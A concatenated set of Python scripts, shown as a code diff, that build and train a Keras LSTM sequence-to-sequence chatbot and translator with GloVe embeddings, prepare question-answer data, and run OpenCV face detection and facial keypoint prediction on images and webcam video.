+        for line in tqdm.tqdm(f, "Reading GloVe"):
+            values = line.split()
+            word = values[0]
+            vectors = np.asarray(values[1:], dtype='float32')
+            embedding_index[word] = vectors
+
+    word_index = tokenizer.word_index
+    embedding_matrix = np.zeros((len(word_index)+1, 300))
+    for word, i in word_index.items():
+        embedding_vector = embedding_index.get(word)
+        if embedding_vector is not None:
+            # words not found will be 0s
+            embedding_matrix[i] = embedding_vector
+            
+    return embedding_matrix
+
+
+def load_data(filename):
+    text = []
+    append = text.append
+    with open(filename) as f:
+        for line in tqdm.tqdm(f, f"Reading {filename}"):
+            line = line.strip()
+            append(line)
+    return text
+
+# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256):
+#     """Generating data"""
+#     while True:
+#         for j in range(0, len(X), batch_size):
+#             encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32')
+#             decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32')
+#             decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32')
+#             for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])):
+#                 for t, word in enumerate(input_text.split()):
+#                     encoder_input_data[i, t] = input_word_index[word] # encoder input sequence
+#                 for t, word in enumerate(target_text.split()):
+#                     if t > 0:
+#                         # offset by one timestep
+#                         # one-hot encoded
+#                         decoder_target_data[i, t-1, target_token_index[word]] = 1
+#                     if t < len(target_text.split()) - 1:
+#                         decoder_input_data[i, t] = target_token_index[word]
+#             yield ([encoder_input_data, decoder_input_data], decoder_target_data)
+
+# def tokenize(x, tokenizer=None):
+#     """Tokenize x
+#     :param x: List of sentences/strings to be tokenized
+#     :return: Tuple of (tokenized x data, tokenizer used to tokenize x)"""
+#     if tokenizer:
+#         t = tokenizer
+#     else:
+#         t = Tokenizer()
+#     t.fit_on_texts(x)
+#     return t.texts_to_sequences(x), t
+
+
+# def pad(x, length=None):
+#     """Pad x
+#     :param x: list of sequences
+#     :param length: Length to pad the sequence to, If None, use length
+#     of longest sequence in x.
+#     :return: Padded numpy array of sequences"""
+#     return pad_sequences(x, maxlen=length, padding="post")
+
+
+# def preprocess(x, y):
+#     """Preprocess x and y
+#     :param x: Feature list of sentences
+#     :param y: Label list of sentences
+#     :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)"""
+#     preprocess_x, x_tk = tokenize(x)
+#     preprocess_y, y_tk = tokenize(y)
+#     preprocess_x2 = [ [0] + s for s in preprocess_y ]
+#     longest_x = max([len(i) for i in preprocess_x])
+#     longest_y = max([len(i) for i in preprocess_y]) + 1
+#     # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index)
+#     max_length = longest_x if longest_x > longest_y else longest_y
+
+#     preprocess_x = pad(preprocess_x, length=max_length)
+#     preprocess_x2 = pad(preprocess_x2, length=max_length)
+#     preprocess_y = pad(preprocess_y, length=max_length)
+
+#     # preprocess_x = to_categorical(preprocess_x)
+#     # preprocess_x2 = to_categorical(preprocess_x2)
+#     preprocess_y = to_categorical(preprocess_y)
+
+#     return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk
+
+
+
+
+from keras.layers import Embedding, TimeDistributed, Dense, GRU, LSTM, Input
+from keras.models import Model, Sequential
+from keras.utils import to_categorical
+
+import numpy as np
+import tqdm
+
+
+def encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_matrix=None, embedding_layer=True):
+    # ENCODER
+    # define an input sequence and process it
+        
+    if embedding_layer:
+        encoder_inputs = Input(shape=(None,))
+        if embedding_matrix is None:
+            encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True)
+        else:
+            encoder_emb_layer = Embedding(num_encoder_tokens,
+                                            latent_dim,
+                                            mask_zero=True,
+                                            weights=[embedding_matrix],
+                                            trainable=False)
+
+        encoder_emb = encoder_emb_layer(encoder_inputs)
+    else:
+        encoder_inputs = Input(shape=(None, num_encoder_tokens))
+        encoder_emb = encoder_inputs
+    encoder_lstm = LSTM(latent_dim, return_state=True)
+    encoder_outputs, state_h, state_c = encoder_lstm(encoder_emb)
+
+    # we discard encoder_outputs and only keep the states
+    encoder_states = [state_h, state_c]
+
+    # DECODER
+    # Set up the decoder, using encoder_states as initial state
+    if embedding_layer:
+        decoder_inputs = Input(shape=(None,))
+    else:
+        decoder_inputs = Input(shape=(None, num_encoder_tokens))
+    # add an embedding layer
+    # decoder_emb_layer = Embedding(num_decoder_tokens, latent_dim, mask_zero=True)
+    if embedding_layer:
+        decoder_emb = encoder_emb_layer(decoder_inputs)
+    else:
+        decoder_emb = decoder_inputs
+    # we set up our decoder to return full output sequences
+    # and to return internal states as well, we don't use the
+    # return states in the training model, but we will use them in inference
+    decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True)
+    decoder_outputs, _, _, = decoder_lstm(decoder_emb, initial_state=encoder_states)
+    # dense output layer used to predict each character ( or word )
+    # in one-hot manner, not recursively
+    decoder_dense = Dense(num_decoder_tokens, activation="softmax")
+    decoder_outputs = decoder_dense(decoder_outputs)
+    # finally, the model is defined with inputs for the encoder and the decoder
+    # and the output target sequence
+    # turn encoder_input_data & decoder_input_data into decoder_target_data
+    model = Model([encoder_inputs, decoder_inputs], output=decoder_outputs)
+    # model.summary()
+    # define encoder inference model
+    encoder_model = Model(encoder_inputs, encoder_states)
+    # define decoder inference model
+    decoder_state_input_h = Input(shape=(latent_dim,))
+    decoder_state_input_c = Input(shape=(latent_dim,))
+    decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c]
+
+    # Get the embeddings of the decoder sequence
+    if embedding_layer:
+        dec_emb2 = encoder_emb_layer(decoder_inputs)
+    else:
+        dec_emb2 = decoder_inputs
+
+    decoder_outputs, state_h, state_c = decoder_lstm(dec_emb2, initial_state=decoder_states_inputs)
+    decoder_states = [state_h, state_c]
+    decoder_outputs = decoder_dense(decoder_outputs)
+    decoder_model = Model([decoder_inputs] + decoder_states_inputs, [decoder_outputs] + decoder_states)
+    return model, encoder_model, decoder_model
+    
+
+
+
+def predict_sequence(enc, dec, source, n_steps, cardinality, char_level=False):
+    """Generate target given source sequence, this function can be used
+    after the model is trained to generate a target sequence given a source sequence."""
+    # encode
+    state = enc.predict(source)
+    # start of sequence input
+    if char_level:
+        target_seq = np.zeros((1, 1, 61))
+    else:
+        target_seq = np.zeros((1, 1))
+    # collect predictions
+    output = []
+    for t in range(n_steps):
+        # predict next char
+        yhat, h, c = dec.predict([target_seq] + state)
+        # store predictions
+        y = yhat[0, 0, :]
+        if char_level:
+            sampled_token_index = to_categorical(np.argmax(y), num_classes=61)
+        else:
+            sampled_token_index = np.argmax(y)
+        output.append(sampled_token_index)
+        # update state
+        state = [h, c]
+        # update target sequence
+        if char_level:
+            target_seq = np.zeros((1, 1, 61))
+        else:
+            target_seq = np.zeros((1, 1))
+        target_seq[0, 0] = sampled_token_index
+        
+    return np.array(output)
+
+
+def decode_sequence(enc, dec, input_seq):
+    # Encode the input as state vectors.
+    states_value = enc.predict(input_seq)
+    
+    # Generate empty target sequence of length 1.
+    target_seq = np.zeros((1,1))
+    
+    # Populate the first character of target sequence with the start character.
+    target_seq[0, 0] = 0
+    
+    # Sampling loop for a batch of sequences
+    # (to simplify, here we assume a batch of size 1).
+    stop_condition = False
+    decoded_sequence = []
+    
+    while not stop_condition:
+        output_tokens, h, c = dec.predict([target_seq] + states_value)
+        # Sample a token
+        sampled_token_index = np.argmax(output_tokens[0, -1, :])
+        # sampled_char = reverse_target_char_index[sampled_token_index]
+        decoded_sentence.append(output_tokens[0, -1, :])
+        
+        # Exit condition: either hit max length or find stop token.
+        if (output_tokens == '' or len(decoded_sentence) > 50):
+            stop_condition = True
+        
+        # Update the target sequence (of length 1).
+        target_seq = np.zeros((1,1))
+        target_seq[0, 0] = sampled_token_index
+        
+        # Update states
+        states_value = [h, c]
+    
+    return decoded_sentence
+
+
+
+
+from keras.preprocessing.text import Tokenizer
+from keras.preprocessing.sequence import pad_sequences
+from keras.utils import to_categorical
+import numpy as np
+
+
+def tokenize(x, tokenizer=None):
+    """Tokenize x
+    :param x: List of sentences/strings to be tokenized
+    :return: Tuple of (tokenized x data, tokenizer used to tokenize x)"""
+    if tokenizer:
+        t = tokenizer
+    else:
+        t = Tokenizer()
+    t.fit_on_texts(x)
+    return t.texts_to_sequences(x), t
+
+
+def pad(x, length=None):
+    """Pad x
+    :param x: list of sequences
+    :param length: Length to pad the sequence to, If None, use length
+    of longest sequence in x.
+    :return: Padded numpy array of sequences"""
+    return pad_sequences(x, maxlen=length, padding="post")
+
+
+def preprocess(x, y):
+    """Preprocess x and y
+    :param x: Feature list of sentences
+    :param y: Label list of sentences
+    :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)"""
+    preprocess_x, x_tk = tokenize(x)
+    preprocess_y, y_tk = tokenize(y)
+    preprocess_x2 = [ [0] + s for s in preprocess_y ]
+    longest_x = max([len(i) for i in preprocess_x])
+    longest_y = max([len(i) for i in preprocess_y]) + 1
+    # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index)
+    max_length = longest_x if longest_x > longest_y else longest_y
+
+    preprocess_x = pad(preprocess_x, length=max_length)
+    preprocess_x2 = pad(preprocess_x2, length=max_length)
+    preprocess_y = pad(preprocess_y, length=max_length)
+
+    # preprocess_x = to_categorical(preprocess_x)
+    # preprocess_x2 = to_categorical(preprocess_x2)
+    preprocess_y = to_categorical(preprocess_y)
+
+    return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk
+
+
+def load_data(filename):
+    with open(filename) as f:
+        text = f.read()
+    return text.split("\n")
+
+
+def load_dataset():
+    english_sentences = load_data("data/small_vocab_en")
+    french_sentences = load_data("data/small_vocab_fr")
+    
+    return preprocess(english_sentences, french_sentences)
+
+
+# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256):
+#     """Generating data"""
+#     while True:
+#         for j in range(0, len(X), batch_size):
+#             encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32')
+#             decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32')
+#             decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32')
+#             for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])):
+#                 for t, word in enumerate(input_text.split()):
+#                     encoder_input_data[i, t] = input_word_index[word] # encoder input sequence
+#                 for t, word in enumerate(target_text.split()):
+#                     if t > 0:
+#                         # offset by one timestep
+#                         # one-hot encoded
+#                         decoder_target_data[i, t-1, target_token_index[word]] = 1
+#                     if t < len(target_text.split()) - 1:
+#                         decoder_input_data[i, t] = target_token_index[word]
+#             yield ([encoder_input_data, decoder_input_data], decoder_target_data)
+
+if __name__ == "__main__":
+    from generator import NMTGenerator
+    gen = NMTGenerator(source_file="data/small_vocab_en", target_file="data/small_vocab_fr")
+    gen.load_dataset()
+    print(gen.num_decoder_tokens)
+    print(gen.num_encoder_tokens)
+    print(gen.source_sequence_length)
+    print(gen.target_sequence_length)
+    print(gen.X.shape)
+    print(gen.y.shape)
+    for i, ((encoder_input_data, decoder_input_data), decoder_target_data) in enumerate(gen.generate_batches()):
+        # print("encoder_input_data.shape:", encoder_input_data.shape)
+        # print("decoder_output_data.shape:", decoder_input_data.shape)
+        if i % (len(gen.X) // gen.batch_size + 1) == 0:
+            print(i, ": decoder_input_data:", decoder_input_data[0])
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+
+from models import predict_sequence, encoder_decoder_model
+from preprocess import tokenize, pad
+from keras.utils import to_categorical
+from generator import get_embedding_vectors
+import pickle
+import numpy as np
+
+x_tk = pickle.load(open("results/x_tk.pickle", "rb"))
+y_tk = pickle.load(open("results/y_tk.pickle", "rb"))
+
+
+
+index_to_words = {id: word for word, id in y_tk.word_index.items()}
+index_to_words[0] = '_'
+
+def logits_to_text(logits):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)])
+    return ' '.join([index_to_words[prediction] for prediction in logits])
+
+
+num_encoder_tokens = 29046
+num_decoder_tokens = 29046
+latent_dim = 300
+
+# embedding_vectors = get_embedding_vectors(x_tk)
+
+model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens)
+enc.summary()
+dec.summary()
+model.summary()
+model.load_weights("results/chatbot_v13_4.831_0.219.h5")
+
+while True:
+    text = input("> ")
+    tokenized = tokenize([text], tokenizer=y_tk)[0]
+    # print("tokenized:", tokenized)
+    X = pad(tokenized, length=37)
+    sequence = predict_sequence(enc, dec, X, 37, num_decoder_tokens)
+    # print(sequence)
+    result = logits_to_text(sequence)
+    print(result)
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+
+from models import predict_sequence, encoder_decoder_model
+from preprocess import tokenize, pad
+from keras.utils import to_categorical
+from generator import get_embedding_vectors
+import pickle
+import numpy as np
+
+x_tk = pickle.load(open("results/x_tk.pickle", "rb"))
+y_tk = pickle.load(open("results/y_tk.pickle", "rb"))
+
+
+
+index_to_words = {id: word for word, id in y_tk.word_index.items()}
+index_to_words[0] = '_'
+
+def logits_to_text(logits):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)])
+    # return ''.join([index_to_words[np.where(prediction==1)[0]] for prediction in logits])
+    text = ""
+    for prediction in logits:
+        char_index = np.where(prediction)[0][0]
+
+        char = index_to_words[char_index]
+        text += char
+    return text
+        
+
+
+num_encoder_tokens = 61
+num_decoder_tokens = 61
+latent_dim = 384
+
+# embedding_vectors = get_embedding_vectors(x_tk)
+
+model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_layer=False)
+enc.summary()
+dec.summary()
+model.summary()
+model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5")
+
+while True:
+    text = input("> ")
+    tokenized = tokenize([text], tokenizer=y_tk)[0]
+    # print("tokenized:", tokenized)
+    X = to_categorical(pad(tokenized, length=37), num_classes=num_encoder_tokens)
+    # print(X)
+    sequence = predict_sequence(enc, dec, X, 206, num_decoder_tokens, char_level=True)
+    # print(sequence)
+    result = logits_to_text(sequence)
+    print(result)
+
+
+
+
+import numpy as np
+import pickle
+from models import encoder_decoder_model
+from generator import NMTGenerator, get_embedding_vectors
+from preprocess import load_dataset
+from keras.callbacks import ModelCheckpoint
+from keras_adabound import AdaBound
+
+text_gen = NMTGenerator(source_file="data/questions",
+                        target_file="data/answers",
+                        batch_size=32,
+                        same_tokenizer=True,
+                        verbose=2)
+text_gen.load_dataset()
+print("[+] Dataset loaded.")
+
+num_encoder_tokens = text_gen.num_encoder_tokens
+num_decoder_tokens = text_gen.num_decoder_tokens
+# get tokenizer
+tokenizer = text_gen.x_tk
+embedding_vectors = get_embedding_vectors(tokenizer)
+print("text_gen.source_sequence_length:", text_gen.source_sequence_length)
+print("text_gen.target_sequence_length:", text_gen.target_sequence_length)
+num_tokens = max([num_encoder_tokens, num_decoder_tokens])
+latent_dim = 300
+
+model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_matrix=embedding_vectors)
+model.summary()
+enc.summary()
+dec.summary()
+del enc
+del dec
+print("[+] Models created.")
+
+model.compile(optimizer="rmsprop", loss="categorical_crossentropy", metrics=["accuracy"])
+print("[+] Model compiled.")
+
+# pickle.dump(x_tk, open("results/x_tk.pickle", "wb"))
+print("[+] X tokenizer serialized.")
+
+# pickle.dump(y_tk, open("results/y_tk.pickle", "wb"))
+print("[+] y tokenizer serialized.")
+
+# X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
+# y = y.reshape((y.shape[0], y.shape[2], y.shape[1]))
+print("[+] Dataset reshaped.")
+
+# print("X1.shape:", X1.shape)
+# print("X2.shape:", X2.shape)
+# print("y.shape:", y.shape)
+checkpointer = ModelCheckpoint("results/chatbot_v13_{val_loss:.3f}_{val_acc:.3f}.h5", save_best_only=False, verbose=1)
+model.load_weights("results/chatbot_v13_4.806_0.219.h5")
+# model.fit([X1, X2], y,
+model.fit_generator(text_gen.next_train(),
+                    validation_data=text_gen.next_validation(),
+                    verbose=1,
+                    steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size),
+                    validation_steps=(len(text_gen.X_test) // text_gen.batch_size),
+                    callbacks=[checkpointer],
+                    epochs=5)
+print("[+] Model trained.")
+
+model.save_weights("results/chatbot_v13.h5")
+print("[+] Model saved.")
+
+
+
+
+import numpy as np
+import pickle
+from models import encoder_decoder_model
+from generator import NMTGenerator, get_embedding_vectors
+from preprocess import load_dataset
+from keras.callbacks import ModelCheckpoint
+from keras_adabound import AdaBound
+
+text_gen = NMTGenerator(source_file="data/questions",
+                        target_file="data/answers",
+                        batch_size=256,
+                        same_tokenizer=True,
+                        char_level=True,
+                        verbose=2)
+text_gen.load_dataset()
+print("[+] Dataset loaded.")
+
+num_encoder_tokens = text_gen.num_encoder_tokens
+num_decoder_tokens = text_gen.num_decoder_tokens
+# get tokenizer
+tokenizer = text_gen.x_tk
+print("text_gen.source_sequence_length:", text_gen.source_sequence_length)
+print("text_gen.target_sequence_length:", text_gen.target_sequence_length)
+num_tokens = max([num_encoder_tokens, num_decoder_tokens])
+latent_dim = 384
+
+model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_layer=False)
+model.summary()
+enc.summary()
+dec.summary()
+del enc
+del dec
+print("[+] Models created.")
+
+model.compile(optimizer=AdaBound(lr=1e-3, final_lr=0.1), loss="categorical_crossentropy", metrics=["accuracy"])
+print("[+] Model compiled.")
+
+# pickle.dump(x_tk, open("results/x_tk.pickle", "wb"))
+print("[+] X tokenizer serialized.")
+
+# pickle.dump(y_tk, open("results/y_tk.pickle", "wb"))
+print("[+] y tokenizer serialized.")
+
+# X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
+# y = y.reshape((y.shape[0], y.shape[2], y.shape[1]))
+print("[+] Dataset reshaped.")
+
+# print("X1.shape:", X1.shape)
+# print("X2.shape:", X2.shape)
+# print("y.shape:", y.shape)
+checkpointer = ModelCheckpoint("results/chatbot_charlevel_v2_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=False, verbose=1)
+model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5")
+# model.fit([X1, X2], y,
+model.fit_generator(text_gen.next_train(),
+                    validation_data=text_gen.next_validation(),
+                    verbose=1,
+                    steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size)+1,
+                    validation_steps=(len(text_gen.X_test) // text_gen.batch_size)+1,
+                    callbacks=[checkpointer],
+                    epochs=50)
+print("[+] Model trained.")
+
+model.save_weights("results/chatbot_charlevel_v2.h5")
+print("[+] Model saved.")
+
+
+
+
+import tqdm
+
+X, y = [], []
+with open("data/fr-en", encoding='utf8') as f:
+    for i, line in tqdm.tqdm(enumerate(f), "Reading file"):
+        if "europarl-v7" in line:
+            continue
+        # X.append(line)
+        # if i == 2007723 or i == 2007724 or i == 2007725
+        if i <= 2007722:
+            X.append(line.strip())
+        else:
+            y.append(line.strip())
+
+y.pop(-1)
+
+
+with open("data/en", "w", encoding='utf8') as f:
+    for i in tqdm.tqdm(X, "Writing english"):
+        print(i, file=f)
+
+with open("data/fr", "w", encoding='utf8') as f:
+    for i in tqdm.tqdm(y, "Writing french"):
+        print(i, file=f)
+
+
+
+
+import glob
+import tqdm
+import os
+import random
+import inflect
+
+p = inflect.engine()
+
+X, y = [], []
+
+special_words = {
+    "haha", "rockikz", "fullclip", "xanthoss", "aw", "wow", "ah", "oh", "god", "quran", "allah",
+    "muslims", "muslim", "islam", "?", ".", ",",
+    '_func_val_get_callme_para1_comma0', '_num2_', '_func_val_get_last_question', '_num1_',
+    '_func_val_get_number_plus_para1__num1__para2__num2_',
+    '_func_val_update_call_me_enforced_para1__callme_',
+    '_func_val_get_number_minus_para1__num2__para2__num1_', '_func_val_get_weekday_para1_d0',
+    '_func_val_update_user_name_para1__name_', '_callme_', '_func_val_execute_pending_action_and_reply_para1_no',
+    '_func_val_clear_user_name_and_call_me', '_func_val_get_story_name_para1_the_velveteen_rabbit', '_ignored_',
+    '_func_val_get_number_divide_para1__num1__para2__num2_', '_func_val_get_joke_anyQ:',
+    '_func_val_update_user_name_and_call_me_para1__name__para2__callme_', '_func_val_get_number_divide_para1__num2__para2__num1_Q:',
+    '_name_', '_func_val_ask_name_if_not_yet', '_func_val_get_last_answer', '_func_val_continue_last_topic',
+    '_func_val_get_weekday_para1_d1', '_func_val_get_number_minus_para1__num1__para2__num2_', '_func_val_get_joke_any',
+    '_func_val_get_story_name_para1_the_three_little_pigs', '_func_val_update_call_me_para1__callme_',
+    '_func_val_get_story_name_para1_snow_white', '_func_val_get_today', '_func_val_get_number_multiply_para1__num1__para2__num2_',
+    '_func_val_update_user_name_enforced_para1__name_', '_func_val_get_weekday_para1_d_2', '_func_val_correct_user_name_para1__name_',
+    '_func_val_get_time', '_func_val_get_number_divide_para1__num2__para2__num1_', '_func_val_get_story_any',
+    '_func_val_execute_pending_action_and_reply_para1_yes', '_func_val_get_weekday_para1_d_1', '_func_val_get_weekday_para1_d2'
+}
+
+english_words = { word.strip() for word in open("data/words8.txt") }
+
+embedding_words = set()
+f = open("data/glove.6B.300d.txt", encoding='utf8')
+for line in tqdm.tqdm(f, "Reading GloVe words"):
+    values = line.split()
+    word = values[0]
+    embedding_words.add(word)
+
+maps = open("data/maps.txt").readlines()
+word_mapper = {}
+for map in maps:
+    key, value = map.split("=>")
+    key = key.strip()
+    value = value.strip()
+    print(f"Mapping {key} to {value}")
+    word_mapper[key.lower()] = value
+
+
+unks = 0
+digits = 0
+mapped = 0
+english = 0
+special = 0
+
+def map_text(line):
+    global unks
+    global digits
+    global mapped
+    global english
+    global special
+    result = []
+    append = result.append
+    words = line.split()
+    for word in words:
+        word = word.lower()
+        if word.isdigit():
+            append(p.number_to_words(word))
+            digits += 1
+            continue
+        if word in word_mapper:
+            append(word_mapper[word])
+            mapped += 1
+            continue
+        if word in english_words:
+            append(word)
+            english += 1
+            continue
+        if word in special_words:
+            append(word)
+            special += 1
+            continue
+        append("_unk_")
+        unks += 1
+    return ' '.join(result)
+
+for file in tqdm.tqdm(glob.glob("data/Augment*/*"), "Reading files"):
+    with open(file, encoding='utf8') as f:
+        for line in f:
+            line = line.strip()
+            if "Q: " in line:
+                X.append(line)
+            elif "A: " in line:
+                y.append(line)
+
+# shuffle X and y maintaining the order
+combined = list(zip(X, y))
+random.shuffle(combined)
+
+X[:], y[:] = zip(*combined)
+
+with open("data/questions", "w") as f:
+    for line in tqdm.tqdm(X, "Writing questions"):
+        line = line.strip().lstrip('Q: ')
+        line = map_text(line)
+        print(line, file=f)
+
+print()
+
+print("[!] Unks:", unks)
+print("[!] digits:", digits)
+print("[!] Mapped:", mapped)
+print("[!] english:", english)
+print("[!] special:", special)
+print()
+
+unks = 0
+digits = 0
+mapped = 0
+english = 0
+special = 0
+
+with open("data/answers", "w") as f:
+    for line in tqdm.tqdm(y, "Writing answers"):
+        line = line.strip().lstrip('A: ')
+        line = map_text(line)
+        print(line, file=f)
+
+print()
+print("[!] Unks:", unks)
+print("[!] digits:", digits)
+print("[!] Mapped:", mapped)
+print("[!] english:", english)
+print("[!] special:", special)
+print()
+
+
+
+
+import numpy as np
+import cv2
+
+
+# loading the test image
+image = cv2.imread("kids.jpg")
+
+# converting to grayscale
+image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+# initialize the face recognizer (default face haar cascade)
+face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml")
+
+# detect all the faces in the image
+faces = face_cascade.detectMultiScale(image_gray, 1.3, 5)
+
+# for every face, draw a blue rectangle
+for x, y, width, height in faces:
+    cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2)
+
+# save the image with rectangles
+cv2.imwrite("kids_detected.jpg", image)
+
+
+
+
+import numpy as np
+import cv2
+
+# create a new cam object
+cap = cv2.VideoCapture(0)
+
+# initialize the face recognizer (default face haar cascade)
+face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml")
+
+while True:
+    # read the image from the cam
+    _, image = cap.read()
+    # converting to grayscale
+    image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+    # detect all the faces in the image
+    faces = face_cascade.detectMultiScale(image_gray, 1.3, 5)
+
+    # for every face, draw a blue rectangle
+    for x, y, width, height in faces:
+        cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2)
+
+    cv2.imshow("image", image)
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+
+import sys
+
+from models import create_model
+from parameters import *
+from utils import normalize_image
+
+
+def untransform(keypoints):
+    return keypoints * 50 + 100
+
+
+def get_single_prediction(model, image):
+    image = np.expand_dims(image, axis=0)
+    keypoints = model.predict(image)[0]
+    return keypoints.reshape(*OUTPUT_SHAPE)
+
+
+def show_keypoints(image, predicted_keypoints, true_keypoints=None):
+    predicted_keypoints = untransform(predicted_keypoints)        
+    plt.imshow(np.squeeze(image), cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    if true_keypoints is not None:
+        true_keypoints = untransform(true_keypoints)
+        plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+image = cv2.imread(sys.argv[1])
+image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+
+# # construct the model
+model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+model.load_weights("results/model_smoothl1.h5")
+
+face_cascade = cv2.CascadeClassifier("haarcascade_frontalface_default.xml")
+# get all the faces in the image
+faces = face_cascade.detectMultiScale(image, 1.2, 2)
+
+for (x, y, w, h) in faces:
+    cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 3)
+    face_image = image.copy()[y: y+h, x: x+w]
+    face_image = normalize_image(face_image)
+    keypoints = get_single_prediction(model, face_image)
+    show_keypoints(face_image, keypoints)
+
+
+
+
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+import cv2
+
+from models import create_model
+from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file
+from utils import load_data, resize_image, normalize_keypoints, normalize_image
+
+
+def get_single_prediction(model, image):
+    image = np.expand_dims(image, axis=0)
+    keypoints = model.predict(image)[0]
+    return keypoints.reshape(*OUTPUT_SHAPE)
+
+def get_predictions(model, X):
+    predicted_keypoints = model.predict(X)
+    predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE)
+    return predicted_keypoints
+    
+
+def show_keypoints(image, predicted_keypoints, true_keypoints=None):
+    predicted_keypoints = untransform(predicted_keypoints)        
+    plt.imshow(image, cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    if true_keypoints is not None:
+        true_keypoints = untransform(true_keypoints)
+        plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+def show_keypoints_cv2(image, predicted_keypoints, true_keypoints=None):
+    for keypoint in predicted_keypoints:
+        image = cv2.circle(image, (keypoint[0], keypoint[1]), 2, color=2)
+    if true_keypoints is not None:
+        image = cv2.circle(image, (true_keypoints[:, 0], true_keypoints[:, 1]), 2, color="green")
+    return image
+
+
+def untransform(keypoints):
+    return keypoints * 224
+
+
+# construct the model
+model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+model.load_weights("results/model_smoothl1_different-scaling.h5")
+
+# X_test, y_test = load_data(testing_file)
+# y_test = y_test.reshape(-1, *OUTPUT_SHAPE)
+
+cap = cv2.VideoCapture(0)
+
+while True:
+    _, frame = cap.read()
+    # make a copy of the original image
+    image = frame.copy()
+    image = normalize_image(image)
+
+    keypoints = get_single_prediction(model, image)
+    print(keypoints[0])
+    keypoints = untransform(keypoints)
+    # w, h = frame.shape[:2]
+    # keypoints = (keypoints * [frame.shape[0] / image.shape[0], frame.shape[1] / image.shape[1]]).astype("int16")
+    # frame = show_keypoints_cv2(frame, keypoints)
+    image = show_keypoints_cv2(image, keypoints)
+    cv2.imshow("frame", image)
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cv2.destroyAllWindows()
+cap.release()
+
+
+
+
